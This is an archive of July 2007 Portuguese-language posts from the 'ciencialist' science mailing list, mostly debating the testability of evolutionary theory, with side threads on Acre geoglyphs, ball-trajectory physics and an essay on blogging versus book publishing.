> do deslocamento do ar provocado pelo carro a 100km/h.

Nem do primeiro quique, nem do segundo, nem do terceiro... O vento
simplesmente não pode ter influência significativa sobre o movimento
da bola sob pena de ser incompatível com a trajetória.

> Já perda de velocidade horizontal da bola, após o segundo toque no
> chão, não se deve necessariamente a um fluxo contrário de vento. Há
> outras componentes "normais" desacelerando o movimento da bola.

E simplesmente não há a menor possibilidade de outros componentes
desacelerarem a bola no terceiro trecho - porq ele se dá totalmente no
*ar*! A bola teria ser brecada pelo ar. Oras, se ela sofrer uma
desaceleração de 5 m/s2 por causa do ar, não poderia ter acelerado a
3m/s2 no segundo trecho - a menos q tenha passado um tufão de
106,949978 km/h q acelerasse a bola a 8 m/s2.

Novamente, o vento NÃO pode ser um fator significativo para o
movimento da bola. Se fosse, a trajetória teria q ser MUITO DIFERENTE.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Ernst Mayr e a filosofia da biologia
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/07/2007 23:58

Caro Takata,

Imagino que sua afirmação de que não concorda nem com Mayr nem com Popper
seja apenas uma maneira elegante de dizer que meu texto está completamente
errado..., hehe. Mas filosofia é assim mesmo, especialmente quando feita por
amadores ... como eu...

Ainda assim, não me parece adequado colocar biologia e física no mesmo
patamar. É claro que a teoria da evolução é testável. Caso não fosse, ela
seria colocada ao lado da astrologia e outras coisas. Contudo, ela não é
testável da mesma forma em todos os níveis. Os experimentos que você
descreveu referem-se a testes que podem ser feitos em uma escala de tempo
curta e envolvendo organismos pouco complexos. Mas nunca poderemos inverter
o relógio e observar o surgimento de grandes mamíferos após a extinção dos
dinossauros. Esses testes só podem ser feitos de maneira indireta e é aí
que entra o aspecto histórico.

É verdade que a física também padece de problemas semelhantes, especialmente
quando chegamos muito perto do Big Bang ou do domínio de Planck, onde não
existem teorias ou métodos experimentais adequados. Nesse aspecto, e
provavelmente só nesse aspecto, talvez física e biologia não sejam tão
diferentes.

Matéria para meditação...

[ ]s

Alvaro Augusto




----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, July 02, 2007 5:08 PM
Subject: [ciencialist] Re: Ernst Mayr e a filosofia da biologia


Eu discordo tto de Mayr qto de Popper (ainda q este tenha voltado em
sua opinião qto à testabilidade da teoria da evolução - em parte o
recuo motivado pelo avanço criacionista).

Há um certo resumo do pensamento de Mayr em "Biologia: ciência única".

Primeiro: embora Dobzhansky tenha apropriadamente sentenciado que
"nada em biologia faz sentido a não ser à luz da evolução" - a
biologia é um campo q vai além da evolução - então a cientificidade ou
não da teoria da evolução *não* caracteriza o status científico ou não
da biologia.

Segundo: a teoria da evolução *é* testável e plenamente testável. Se
tomarmos a evolução por seleção natural, poderemos testar de modo
independente e em conjunto cada uma de suas premissas P e conclusão C:
P1) Algumas características são herdáveis;
P2) Há variação em pelo menos parte dessas características herdáveis;
P3) Parte das características herdáveis estão correlacionadas à maior
ou menor capacidade de seus portadores em deixarem descendentes
viáveis para a próxima geração;
-------------------------------------------
C) Características herdáveis q conferem vantagens reprodutivas tendem
a se espalhar pela população.

Isso pode ser feito em laboratório por meio de plaqueamento de
bactérias, cultivo de plantas, criação de moscas e ratos, observação
na natureza e in silico.

Terceiro: Verdade q o objeto de estudo da teoria da evolução é
eminentemente histórico em sua natureza. Mas seria o mm q dizer q
geologia e a cosmologia tb não são científicas ou não são científicas
do mm modo q a física.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Para quem interessar, postei um novo artigo no meu blog, onde ataco um
> argumento que surge aqui nesse grupo de vez em quando: o de que só a
> física é verdadeiramente científica. Detalhes em




SUBJECT: RES: [ciencialist] [RN] GEOGLIFOS ACRIANOS
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/07/2007 00:04

Prato cheio para escritores como Däniken, se ainda estiver bulindo.

Se sim, já, já, poderão aparecer outros escritos dele, dizendo: eu não
disse?

Quando li o livro Eram os Deuses Astronautas?, acreditei naqueles relatos e
até me alinhei

com alguns crentes nessas coisas, lá em Garanhuns, que formavam grupelhos de
“estudos”,

destinadas a “pesquisas científicas” acerca dos fenômenos expostos e coisas
que tais.

Lá, tinha disso também, além de Lulla. Depois, li mais uns dois livros do
moço, enfocando essas

coisas extraordinárias, cujas causas eram seres inteligentíssimos e
avançados de outros planetas,

segundo defendia, com a uma ênfase e uma garra que davam gosto de ver.

E dizia a mim mesmo, motivado pelos sonhos e delírios de menino,no meio de
gente grande,

mas já com cabelinhos na mão: quando crescer quero ser como o Däniken.

O cara é o tampa de Coca-cola. É o cão chupando manga e impressionava pela
enxurrada de “evidências”

que destilava, bem comentadas, bem defendidas, conforme avançava em suas
“descobertas”.

Impressionava, realmente, e dirigia comportamentos. Pelo menos, lá na
terrinha, o livro

foi um sucesso. Todos diziam que haviam lido o tal, ainda que não. Só para
não ficarem por

baixo e se apresentarem de acordo com o modismo “intelectual” de então.
Coisa de matuto tolo do interior.

Eu próprio, nem se fala; me julgava, então, o “dunga”, o inteligente,o
interessante, e gostava de

chamar a atenção das meninas com aqueles papos. Isto, associado ao fato de
que era bonitinho,

teve, sim, uns “lucrinhos”, embora inocentes, puros e bestas, como dizia o
Caetano. Mas memoráveis.

Hoje, quando apenas disponho daquelas longínquas lembranças, sei que não
era tão inteligente,

nem tão sabido, mas era um besta perfeito. Embora inocente e puro em meus
propósitos.

Por isso, juro que não irei comprar as futuras “análises” daquelas
“evidências” que vêm surgindo

no Acre. A não ser que os culpados, os tais extra-terrestres, um dia,
apareçam e digam a razão

pela qual sempre se esconderam da gente, numa brincadeira secular de
esconde-esconde,

mas que nunca alguém chegou a dizer: achooou! E que muitos acham que
vinham brincar com a gente,

mesmo assim. Coisas do desconhecido e do misterioso, tão caros a uma
maioria.



Desculpem o offitopccismo (Se a palavra não existe. A partir de gora,
existirá!) do texto.



Sds,

Victor.









De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: segunda-feira, 2 de julho de 2007 21:17
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] [RN] GEOGLIFOS ACRIANOS



Em clima de mistério, geoglifos se multiplicam no solo do Acre
http://www1.folha.uol.com.br/folha/ciencia/ult306u308745.shtml
--------------
[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Ernst Mayr e a filosofia da biologia
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/07/2007 00:57

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
> É verdade que a física também padece de problemas semelhantes,
> especialmente quando chegamos muito perto do Big Bang ou do domínio
> de Planck, onde não existem teorias ou métodos experimentais
> adequados. Nesse aspecto, e provavelmente só nesse aspecto, talvez
> física e biologia não sejam tão diferentes.

Tb não é possível se testar plenamente os modelos meteorológicos,
climatológicos, oceanográficos, ou mesmo todos os circuitos de um
microprocessador... Oquei, há aproximações razoáveis, bem como para o
caso de modelos ecológicos de flutuação populacional entre presa e
predador, processos cibernéticos de autorregulação de parâmetros
fisiológicos.

A mecânica quântica é inegavelmente um sucesso - mas apanha de qq
átomo mais complexo do q o hidrogênio (um reles par de próton e elétron).

A física newtoniana tem bases sólidas, mas não é capaz de dar soluções
algébricas úteis (operacionais) para o problema de três corpos.

A einsteniana é uma belíssima reconstrução da clássica, mas não
explica TOTALMENTE a precessão do periélio de Mercúrio. A longo prazo
as previsões erram completamente.

A teoria da evolução não é capaz de predizer como será a biota
terrestre de daqui a um milhão de anos? O problema é q as astronomia
não é capaz de predizer se um bólido espacial irá se chocar com a
Terra nesse período (e de q tamanho ele será), tb a geologia não diz
se haverá uma grande atividade tectônica a disparar vulcanismos pelo
globo nesse intervalo de tempo, ou se o ciclo de Milankovitch irá
disparar uma nova era do gelo (qual a duração, q temperatura média?),
a astrofísica não nos diz qual será exatamente o padrão de atividade
solar, a intensidade da chuva de raios cósmicos, a quântica não diz
qual será o exato padrão das ligações ressonantes da timina no momento
em q ela se unir à cadeia em elongamento... Sem condições de contorno
não há previsão q se faça (só Hawking e Hartle a respeito da origem do
universo).

[]s,

Roberto Takata



SUBJECT: Re: Ernst Mayr e a filosofia da biologia
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/07/2007 01:18

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> A teoria da evolução não é capaz de predizer como será a biota
> terrestre de daqui a um milhão de anos? O problema é q as astronomia
> não é capaz de predizer se um bólido espacial irá se chocar com a

[...]

Aliás, façamos o seguinte. Peguemos a mais exata de todas as ciências
- a ciência da computação. Rodemos um determinado algoritmo genético -
sabendo q se trata de algo 100% determinístico (é um algoritmo) e
tendo-se os parâmetros iniciais conhecidos, alguém terá a coragem de
*predizer* o *exato* resultado da décima milionésima tricentésima
vigésima sexta iteração?

Nem mm os matemáticos com seus teoremas exatos poderão rir. A menos q
apresentem um modo de se prever a seqüência de números primos.

Por outro lado, o zoólogo Richard D. Alexander predisse como seriam
mamíferos eussociais - com base em estudos com insetos. Isso em 1974.
No início da década seguinte, foi descoberto o primeiro caso de
eussociedade em mamíferos - o rato-toupeira pelado (q não é rato nem
toupeira, mas é pelado), um roedor batiergídeo conhecido desde 1842,
mas cuja vida social era desconhecida até então.

Recentemente, Tiktaalik roseae teve sua existência e localização
prevista com base nos estudos da filogenia basal dos tetrápodos.

Os fósseis de dinossauros com penas tb foram previstos com pelo menos
uma década de antecedência - baseando-se no fato da ave fóssil mais
antiga conhecida ter penas bem desenvolvidas e da filogenia indicar a
aves são descendentes de dinossauros manirraptores.

Fósseis de baleias com pernas tb é uma grande previsão da teoria
evolutiva.

[]s,

Roberto Takata



SUBJECT: Re: Ernst Mayr e a filosofia da biologia
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/07/2007 01:55

Salve, Augusto!

Gostei muito do seu artigo. Realmente, esse negócio de reduzir toda a
epistemologia à metodologia da Física é típico dos adeptos do
reducionismo "vulgar" (acrescentei o adjetivo "vulgar" porque existe
um outro tipo de reducionista não tão limitado, filosoficamente
falando, como é o caso do Steven Weinberg).

O próprio Popper, de fato, reduziu o cientista a um "tipo ideal"
(expressão de Weber): um sujeito cognoscente "abstrato" - um "puro
espírito" altruísta, desprovido de carne, ossos e paixões - que, para
o bem da nobre objetividade científica, torce para que a hipótese que
ele passou anos elucubrando seja falseada por seus pares. Essa
idealização foi denominada por Philip Kitcher de "o mito da lenda".
Nenhum adepto de Popper, hoje, leva isso a sério. O que se deve
exigir do cientista - para que mereça esse título - é a valentia de
expor sua conjectura à crítica e de "defendê-la" com as unhas e os
dentes dos fatos e das demonstrações lógicas.

Só não gostei de uma coisa: do novo desenho do seu website. Tá muito
parecido com o do Rodrigo Constantino. Prefiro aquele outro em que,
quando a gente clicava a seta do mouse na sua fotografia, você
gritava "oh!" :-)

Abraços,
Manuel Bulcão



SUBJECT: Re: Ernst Mayr e a filosofia da biologia
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/07/2007 04:18

Oi,

Em "As Origens...", Darwin afirma que "embora a natureza conceda
vastos períodos de tempo para o trabalho da seleção natural, ela não
concede um período indefinido", de modo que, "se a evidência
geológica mostrar que não se passou tempo suficiente, toda a sua
teoria seria refutada" (D. Dennett, 1995). Não, não seria refutada.
Caso os registros geológicos não fossem condizentes, algum
evolucionista poderia trazer à baila versões da idéia da panspermia
(aventada por Fred Hoyle) como hipótese "ad hoc".

Também, na mesma obra, Darwin afirma que "se fosse possível
demonstrar a existência de um órgão complexo [o cérebro humano,
p.ex., o adendo é meu] que não pudesse ter sido formado por ligeiras
modificações, numerosas e sucessivas, minha teoria viria abaixo".
Ocorre que não se pode "corroborar" isso, ou o contrário, seja por
experimentos ou pela observação: modificações numerosas e sucessivas
podem recuar até o infinito pretérito (o big bang é tido, hoje, por
muitas cosmogonias científicas, inclusive a de Ilya Prigogine Andrei
Linde, não como o começo do Tempo, mas tão-somente como um ponto de
demarcação - ou uma fronteira transponível por uma inteligência que
domine os segredos da Mecânica Quântica e a tecnologia que ela torna
possível).

Ora, o infinito é uma cartola de mágico da qual se pode tirar
qualquer coisa matematicamente possível: coelhos, cérebros humanos
etc. Vale dizer, levando-se em conta um tempo infinito (tempo que
transcende o nosso universo-de-bolso, para usar uma expressão de Alan
Guth), qualquer possibilidade, por mais improvável que seja, termina
por acontecer.

Em miúdos: a possibilidade "provável" de um tempo infinito torna a
hipótese das "modificações numerosas e sucessivas..." irrefutável.

A vantagem do evolucionismo de Darwin - para explicar eventos
remotos - está, "sobretudo", no fato de ser uma teoria econômica,
muito mais do que qualquer outra. Por isso, sou darwiniano, apesar de
reconhecer que o princípio da economia, como o Takata disse certa
vez, não ser o critério da verdade, mas apenas um critério de escolha.

Abraços,
Manuel Bulcão
___________________


--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
> > É verdade que a física também padece de problemas semelhantes,
> > especialmente quando chegamos muito perto do Big Bang ou do
domínio
> > de Planck, onde não existem teorias ou métodos experimentais
> > adequados. Nesse aspecto, e provavelmente só nesse aspecto,
talvez
> > física e biologia não sejam tão diferentes.
>
> Tb não é possível se testar plenamente os modelos meteorológicos,
> climatológicos, oceanográficos, ou mesmo todos os circuitos de um
> microprocessador... Oquei, há aproximações razoáveis, bem como para
o
> caso de modelos ecológicos de flutuação populacional entre presa e
> predador, processos cibernéticos de autorregulação de parâmetros
> fisiológicos.
>
> A mecânica quântica é inegavelmente um sucesso - mas apanha de qq
> átomo mais complexo do q o hidrogênio (um reles par de próton e
elétron).
>
> A física newtoniana tem bases sólidas, mas não é capaz de dar
soluções
> algébricas úteis (operacionais) para o problema de três corpos.
>
> A einsteniana é uma belíssima reconstrução da clássica, mas não
> explica TOTALMENTE a precessão do periélio de Mercúrio. A longo
prazo
> as previsões erram completamente.
>
> A teoria da evolução não é capaz de predizer como será a biota
> terrestre de daqui a um milhão de anos? O problema é q as astronomia
> não é capaz de predizer se um bólido espacial irá se chocar com a
> Terra nesse período (e de q tamanho ele será), tb a geologia não diz
> se haverá uma grande atividade tectônica a disparar vulcanismos pelo
> globo nesse intervalo de tempo, ou se o ciclo de Milankovitch irá
> disparar uma nova era do gelo (qual a duração, q temperatura
média?),
> a astrofísica não nos diz qual será exatamente o padrão de atividade
> solar, a intensidade da chuva de raios cósmicos, a quântica não diz
> qual será o exato padrão das ligações ressonantes da timina no
momento
> em q ela se unir à cadeia em elongamento... Sem condições de
contorno
> não há previsão q se faça (só Hawking e Hartle a respeito da origem
do
> universo).
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Ernst Mayr e a filosofia da biologia (corrigido)
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/07/2007 04:26

Oi,

Em "As Origens...", Darwin afirma que "embora a natureza conceda
vastos períodos de tempo para o trabalho da seleção natural, ela não
concede um período indefinido", de modo que, "se a evidência
geológica mostrar que não se passou tempo suficiente, toda a sua
teoria seria refutada" (D. Dennett, 1995). Não, não seria refutada.
Caso os registros geológicos não fossem condizentes, algum
evolucionista poderia trazer à baila versões da idéia da panspermia
(aventada por Fred Hoyle) como hipótese "ad hoc". Ou seja, a vida
originou-se e evoluiu de forma cega, conforme a explicação de Darwin,
porém em um outro planeta e só depois chegou aqui.

Também, na mesma obra, Darwin afirma que "se fosse possível
demonstrar a existência de um órgão complexo [o cérebro humano,
p.ex., o adendo é meu] que não pudesse ter sido formado por ligeiras
modificações, numerosas e sucessivas, minha teoria viria abaixo".
Ocorre que não se pode "corroborar" isso, ou o contrário, seja por
experimentos ou pela observação: modificações numerosas e sucessivas
podem recuar até o infinito pretérito (o big bang é tido, hoje, por
muitas cosmogonias científicas, inclusive a de Ilya Prigogine Andrei
Linde, não como o começo do Tempo, mas tão-somente como um ponto de
demarcação - ou uma fronteira transponível por uma inteligência que
domine os segredos da Mecânica Quântica e a tecnologia que ela torna
possível).

Ora, o infinito é uma cartola de mágico da qual se pode tirar
qualquer coisa matematicamente possível: coelhos, cérebros humanos
etc. Vale dizer, levando-se em conta um tempo infinito (tempo que
transcende o nosso universo-de-bolso, para usar uma expressão de Alan
Guth), qualquer possibilidade, por mais improvável que seja, termina
por acontecer.

Em miúdos: a possibilidade "provável" de um tempo infinito torna a
hipótese das "modificações numerosas e sucessivas..." irrefutável.

A vantagem do evolucionismo de Darwin - para explicar eventos
remotos - está, "sobretudo", no fato de ser uma teoria econômica,
muito mais do que qualquer outra. Por isso, sou darwiniano, apesar de
reconhecer que o princípio da economia, como o Takata disse certa
vez, não ser o critério da verdade, mas apenas um critério de escolha.

Abraços,
Manuel Bulcão
___________________


--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
> > É verdade que a física também padece de problemas semelhantes,
> > especialmente quando chegamos muito perto do Big Bang ou do
domínio
> > de Planck, onde não existem teorias ou métodos experimentais
> > adequados. Nesse aspecto, e provavelmente só nesse aspecto,
talvez
> > física e biologia não sejam tão diferentes.
>
> Tb não é possível se testar plenamente os modelos meteorológicos,
> climatológicos, oceanográficos, ou mesmo todos os circuitos de um
> microprocessador... Oquei, há aproximações razoáveis, bem como para
o
> caso de modelos ecológicos de flutuação populacional entre presa e
> predador, processos cibernéticos de autorregulação de parâmetros
> fisiológicos.
>
> A mecânica quântica é inegavelmente um sucesso - mas apanha de qq
> átomo mais complexo do q o hidrogênio (um reles par de próton e
elétron).
>
> A física newtoniana tem bases sólidas, mas não é capaz de dar
soluções
> algébricas úteis (operacionais) para o problema de três corpos.
>
> A einsteniana é uma belíssima reconstrução da clássica, mas não
> explica TOTALMENTE a precessão do periélio de Mercúrio. A longo
prazo
> as previsões erram completamente.
>
> A teoria da evolução não é capaz de predizer como será a biota
> terrestre de daqui a um milhão de anos? O problema é q as astronomia
> não é capaz de predizer se um bólido espacial irá se chocar com a
> Terra nesse período (e de q tamanho ele será), tb a geologia não diz
> se haverá uma grande atividade tectônica a disparar vulcanismos pelo
> globo nesse intervalo de tempo, ou se o ciclo de Milankovitch irá
> disparar uma nova era do gelo (qual a duração, q temperatura
média?),
> a astrofísica não nos diz qual será exatamente o padrão de atividade
> solar, a intensidade da chuva de raios cósmicos, a quântica não diz
> qual será o exato padrão das ligações ressonantes da timina no
momento
> em q ela se unir à cadeia em elongamento... Sem condições de
contorno
> não há previsão q se faça (só Hawking e Hartle a respeito da origem
do
> universo).
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Ernst Mayr e a filosofia da biologia.UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/07/2007 10:42

Bom dia Álvaro e a todos

seu texto é uma boa iniciativa para um longo caminho que requer tempo
e dedicação. Sugiro que amplie a discussão inserindo a evolução no
contexto epistemológico como consta na URL que segue ou em outras
semelhantes .

Saudações. UCFilho

http://ghtc.ifi.unicamp.br/AFHIC3/Trabalhos/49-Renan-Springer-
Freitas.pdf

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
<alvaro@...> escreveu
>
> Para quem se interessar, postei um novo artigo no meu blog, onde
ataco um
> argumento que surge aqui nesse grupo de vez em quando: o de que só
a física
> é verdadeiramente científica. Detalhes em
> http://alvaroaugusto.blogspot.com/2007/07/ernst-mayr-e-filosofia-da-
biologia.html
>
> [ ]s
>
> Alvaro Augusto
>




SUBJECT: Publicar em papel? Pra quê?
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 03/07/2007 12:03

*Sexta-feira, 18/5/2007*
*Publicar em papel? Pra quê?*
***Julio Daio Borges*<http://www.digestivocultural.com/email/enviaremailpara.asp?secao=2%26item=2277>
****

Nove entre dez escrevinhadores que me aparecem, desejam, ardentemente,
publicar em livro. Não sou editor de livros, sou editor de internet, mas
pressinto que - na maioria dos casos - o meu* site* é visto como um ritual
de passagem para finalmente, um dia, estrear em livro. Continua como uma das
mais fortes ilusões, mesmo nos dias de hoje. Aqui, eu pretendo demonstrar,
contudo, que publicar em livro pode ser - como aliás é, na maior parte das
vezes - uma tremenda de uma fria. E por uma razão bastante simples: muito do
que se espera de um livro com o próprio nome na capa, a internet já oferece,
de graça, para estreantes na arte da escrita.

É mais fácil, em termos de raciocínio - e para não dizerem que eu generalizo
- tomar o meu caso, nos verdes anos em que eu ainda escrevia. Eu pegava um
livro do Rubem Fonseca, por exemplo. Olhava a capa, virava, apalpava,
apreciava a lombada. Naquela época - os anos 90 -, os livros da Companhia
das Letras eram tão incomparavelmente mais bonitos que todo mundo queria
publicar por ela. (Ainda querem, eu sei...) Eu escrevia mas, provavelmente,
não queria fazer literatura - eu queria* publicar*. Ter meu nome nas
estantes. Ir ao Jô Soares e impressionar o mesmo jovem da minha idade que,
de repente, entrando numa livraria, se aventuraria a comprar um livro. Eu
não sabia nada da vida dos escritores. Eu não tinha nenhuma noção de como
funcionava o mercado editorial. Mas eu me achava bom, acreditava, claro, que
merecia ser (re)conhecido - e publicar, então, era meu objetivo.

Os jovens escrevinhadores, de lá pra cá, não mudaram muito. A diferença é
que, além do Rubem Fonseca, podem, agora, lamber com os olhos os livros de
escritores estreantes - tão ruins ou piores do que seu potencial público
leitor. De modo que é bastante freqüente a pergunta: "Se até esse sujeito
publica, por que eu não posso (também publicar)?". Pode. Não custa tão caro;
algumas editoras até se dispõem a fazê-lo... (traindo, naturalmente, sua
função primordial de "editar"). A questão é que, depois de publicar, não
acontece nada. Não acontece nada do que você, jovem escrevinhador, imaginava
que fosse acontecer. Pergunte para os blogueiros-escritores. Eles estão
disponíveis aí na internet, no* e-mail*. Os livros fizeram deles, autores,
mais conhecidos do que já eram com seus* blogs*? A resposta é: não. A
resposta é: existem, atualmente, blogueiros mais famosos do que autores de
livros lançados aos montes no mercado editorial.

Vamos agora ver onde está o erro de quem almeja publicar em livro. Em
primeiro lugar - apesar da quantidade de livros de novatos que você encontra
-, o autor novo é considerado um "mico" pelos profissionais do mercado.
Pergunte a qualquer agente literário. Pergunte a qualquer livreiro. Autores
novos chegam semi-analfabetos, com seus originais, às editoras; algumas os
lançam mas, depois, não conseguem nem distribuir; afinal, ninguém os
conhece, nenhuma livraria quer... E é igual na mídia: neste mundo de autores
de* best-sellers* que publicam todo ano (nacionais e estrangeiros), e das
reedições infinitas (e traduções novas - a moda agora são os autores
russos), não sobra espaço para a divulgação de estreantes. E os livros deles
são ruins! Muito comumente, os autores* pagam* para publicar - e o editor
termina por se eximir da sua única obrigação (editar, mais uma vez). "O
leitor que julgue", dizem. Coitado do leitor: tem de arcar com quase todo o
prejuízo sozinho.

Seguindo essa cadeia de premissas: o dono da livraria não pega para vender
(porque sabe que não vende), então ninguém vê exposto, portanto ninguém
compra; o jornalista não pega para ler (porque, quando tenta,
estatisticamente, não consegue avançar), assim ninguém fica sabendo e, de
novo, ninguém compra. Resultado: o autor estreante não alcança seus
potenciais leitores; termina menos conhecido - e, com certeza, mais pobre -
do que antes. Ah, eu sei: você pode ter uma idéia genial, que ninguém ainda
teve; convencer, ao mesmo tempo, o editor, o livreiro, o divulgador e o
leitor. E vai ser, óbvio, um sucesso estrondoso. Mas você se esqueceu? Você
é um autor novo! Para todos os efeitos, ninguém vai olhar para a sua cara.
Os editores estão cansados dos originais sem qualidade que recebem de
desconhecidos todos os dias; os livreiros estão escaldados por ter de pagar
a conta das pequenas editoras falidas; o resenhista não tem mais paciência
para as primeiras páginas que não o convencem da leitura; e os leitores, por
causa de tudo isso, não vão chegar a saber que você existe (você e seu
livro).

Qual a solução? Se matar? Não, ainda... Desde os anos 90, existe um negócio
chamado internet (não sei se você sabe...). E desde os anos 2000, ou desde
antes, existe um negócio chamado* blog*. O autor, qual seja, não precisa
mais esperar por um editor, para ter seus escritos publicados. Nem precisa
de alguém para distribuir, para divulgar. Só precisa ter leitores; ou seja,
como qualquer escritor (publicado ou não), precisa ir conquistando leitores
aos poucos. E esse é hoje o verdadeiro teste para dizer se um autor é bom ou
não (se quiserem, publicável ou não): a audiência on-line. Na internet, no*blog
*, ninguém está olhando para a embalagem que envolve seus escritos; ninguém
está ligando para o local onde sua obra foi exposta. Se você for bom, você
vai ter leitores, ponto. (Que é o que interessa, no final das contas.)

Mais uma coisinha: os leitores da internet, os leitores de hoje, não estão
acostumados a ler "contos", "novelas", "romances" (seja menos
pretensioso...). Os internautas - o grosso do potencial público leitor -
estão voltando a ler aos poucos. Então não me venha com contos que
"experimentam" com a linguagem, nem com romances desestruturados e com
centenas de páginas. Escreva para a internet; a internet é o grande
laboratório hoje. E os* feedbacks* vêm na hora: você não tem de esperar o
leitor se convencer a procurar o livro,* comprar*, ler inteiro, para, só
assim, gostar ou não. É muito difícil, custa dinheiro e - vamos admitir -
você é um* autor novo*: você ainda não é suficientemente importante para
ele, leitor, a ponto de justificar todo esse dispêndio de energia e tempo.
Seja franco: você* compraria* um livro de um autor desconhecido? E, se
ganhasse de presente, você* leria*? Não tenha vergonha de admitir, eu também
não faria nenhuma das duas coisas em princípio. Agora se me mandassem um*link
* para um* blog*, - como você - eu leria. São muitos* blogs*, sim, mas eu
tento ler. Agora, os livros...

Conheço um blogueiro que é muito mais conhecido do que seus livros de
títulos horríveis. E ele é um blogueiro tão bom - tão, assustadoramente, bom
- que ninguém tem coragem de dizer para ele que os seus livros são ruins.
Então ele insiste; e, de tempos em tempos, anuncia que vai largar esse
negócio de* blog*, que ele não quer envelhecer blogando, que ele é, acima de
tudo, um escritor (!). Evidentemente, não garanto que, se você for um
blogueiro competente, você vá publicar, como quer, um livro em papel. Mas
vai ficar mais perto do que as pessoas querem ler hoje; não vai ter de
esperar anos, ou a vida inteira até, para constatar que seus livros são uma
porcaria. Ambições literárias são saudáveis para quem escreve, mas publicar
um livro não pode ser o único fim hoje. Publicar, como diz o clichê, é
tornar público - e, nesse sentido, a internet vai muito mais longe do que o
livro.

Pense nisso.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Manuel (e demais) Re: Ernst Mayr e a filosofia da biologia (corrigido)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/07/2007 13:07

Olá Manuel

Como este assunto é muito interessante, e permite conversas extremente
informativas (eu aprendo um bocado, pelo menos..:-), vamos discordar
um pouco, para mante-la acessa..:-)

Manuel: "Não, não seria refutada.
> Caso os registros geológicos não fossem condizentes, algum
> evolucionista poderia trazer à baila versões da idéia da panspermia
> (aventada por Fred Hoyle) como hipótese "ad hoc"."

Imagino que o sentido de sua mensagem seria demonstrar que a evolução
darwinista não seria falseável, ou que se suporta em ad hocs. Eu
discordo. Primeiro, porque a panspermia não é "ad hoc", mas se baseia
em dados empíricos, como a presença de aminoácidos em nuvens
estelares, de moléculas complexas em meteoritos e cometas, e outros
fatores.

Segundo, porque, como colocou o Takata na mensagem anterior, qualquer
teoria científica envolve dimensionamento de tempo, ou fica impossível
fazer qualquer previsão. É da natureza das teorias, não uma falha da
evolução, lidar com dificuldade com períodos de tempo gigantescos ou
infinitos.

Na verdade, tempo infinito se aproxima demais do solipcismo, "tudo é
possível." Porque na verdade, tudo é mesmo possível, embora boa parte
disso seja bastante improvável. Você é darwinista, por exemplo,
porque, dentro das possibilidades de explicação, esta teoria é a mais
forte candidata a ser correta. E isso devido a suas evidências, frente
a falta de evidências de qualquer outra coisa (inclusive tempo
infinito no desenvolvimento da vida, marcada por registros geológicos
e fósseis bem claros).

E para finalizar, este registro fóssil permite uma forma de falsear a
evolução perfeitamente válida, o famoso (famigerado eu diria..:-)
coelho cambriano.

O coelho cambriano tem sido procurado intensamente por criacionistas,
de forma obsessiva, porque permitiria refutar todo arcabouço
evolutivo, toda base que sustenta a teoria, e porque sua inexistência
é o mais impressionante obstáculo ao criacionismo científico.

Pois sua inexistência, a absoluta coerência de linhagem entre fósseis,
espalhados por todo planeta, confunde e atrapalha totalmente a
hipótese "criação instantânea" de todos os seres vivos, e é um
problema sério até para a crença apenas da ação divina acessória nessa
formação.

É como se a força criadora tivesse resolvido, por gozação, enterrar
todos os seres vivos em camadas "como se" tivessem vivido em épocas
distintas e seqüenciais, na exata aparência de uma evolução natural.

Essa procura pelo "coelho cambriano", um fóssil moderno em uma camada
geológica antiga, é tão obsessiva, que até marcas aleatórias, buracos
em pedras calcárias, são apresentadas como "pegadas humanas" em
períodos geológicos em que não deveriam haver representantes de nossa
espécie..:-)

Existe, dessa forma, pelo uma forma de falsear a evolução darwiniana
(mas eu posso pensar em outras).

E de toda forma, os ajustes e melhoras que uma teoria científica
recebe com o tempo não deve ser tomada como falha ou defeito da teoria
original, mas a forma natural do conhecimento científico avançar. Se
descobrirmos que parte dos aminoácidos necessários a vida na Terra
vieram originalmente em cometas e meteoros, isso não diminui a força
da teoria evolutiva, apenas a complementa (embora, como sempre seja
necessário lembrar, a evolução não tem a ver com a abiogenese, o
surgimento das primeiras moléculas replicantes).

Um abraço.

Homero




SUBJECT: Estabilizadores/no-breaks
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/07/2007 16:18

Vi um técnico em informática colocar um enorme no-break ligado em um
